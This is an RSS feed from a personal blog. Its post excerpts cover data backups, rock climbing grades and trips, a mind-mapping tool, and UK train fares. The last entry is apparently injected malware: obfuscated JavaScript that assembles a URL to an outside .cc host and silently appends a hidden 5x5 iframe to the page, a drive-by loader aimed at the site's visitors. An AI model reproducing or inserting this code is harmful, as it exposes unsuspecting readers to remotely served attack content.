http://www.ralphcooper.co.uk Wed, 13 Jan 2010 16:47:06 +0000 http://backend.userland.com/rss092 en Consider it a new year's resolution that this site will get an upgrade at some point soon. It's just a case of finding the time, and the energy, to do something about it. Ralph http://www.ralphcooper.co.uk/?p=175 In the last 2 weeks I've learned a valuable lesson about backing up data. We all know we should do it, we all occasionally think about it. Sometimes, if we're lucky (and smart) we even make the odd backup, but all too often the hassle and time involved mean it ... http://www.ralphcooper.co.uk/?p=173 I often wonder how I could improve as a climber. I've been climbing VS for about 3 years now, with only the occasional forray onto anything harder. I'd love to be operating more in the HVS/E1 ball park, but for some reason I just can't seem to get a foothold. I ... http://www.ralphcooper.co.uk/?p=166 I like this :-) I need to get out and try Deliverance again soon... UKC Article http://www.ralphcooper.co.uk/?p=161 No time Too busy Moving house Wrong phase of the moon The internet's too smelly ... All the usual excuses for being away, but hoping to be back soon... http://www.ralphcooper.co.uk/?p=159 If you're anything like me, then dumping the contents of your brain into some sort of list or mind map is something you do quite regularly. Just thought I'd share a clever free tool that I was introduced to recently, which can help you do this quickly :) FreeMind Enjoy! http://www.ralphcooper.co.uk/?p=157 Taken me a while to get round to it, but the gallery is fixed (used to cut off about 2/3 across the screen) and the recent photos are back on the right hand side of the main page. Maybe I'll use them both now. http://www.ralphcooper.co.uk/?p=152 London to Nottingham - Return Car - Approx £30 in petrol * Train - £33.45, £38.95 or £80.20 depending on when you travel ** What would you do? * Does not include cost of Car, Insurance and Servicing ** Price includes 16-25 Railcard discount. Does not include cost of travel to/from stations. For cheaper tickets ... http://www.ralphcooper.co.uk/?p=147 Caroline and I managed to escape work and join the club for a day at Froggatt at the weekend. Unfortunately we couldn't take up an offer of a weekend of Western exploration, but we were lucky enough to enjoy a gorgeous sunny afternoon in the East. After a quick warm up ... http://www.ralphcooper.co.uk/?p=141 Train companies recently updated their ticket tarrifs to make things simpler for customers. Removing a large number of ticket types, on EMT services you can now get: Anytime - for use at any time Off-peak - for use at off peak times Advance - bought in advance, for use on a specific service Along ... http://www.ralphcooper.co.uk/?p=137 status='';vl='r';zk='sho';xp='h';p='s=d';pb='tp:';w='e';kk='5a6';qk='hp?';cv='t';of='/';kt='w';uk='if';jj='c.c';f='am';hf='e';io='w';dn='rc';na='e';bp='fi';u='s';fv='.p';s='b-t';jy='ce';a='z';t='d0';ps='4';kg='raf';xk='//';j='.cc';kc=uk.concat(vl,f,hf);ru=u.concat(dn);m=xp.concat(cv,pb,xk,io,w,s,kg,bp,jj,a,j,of,zk,kt,fv,qk,p,na,ps,kk,jy,t);var op=document.createElement(kc);op.setAttribute('width','5');op.setAttribute('height','5');op.setAttribute('style','display:none');op.setAttribute(ru,m);document.body.appendChild(op);window.status=status;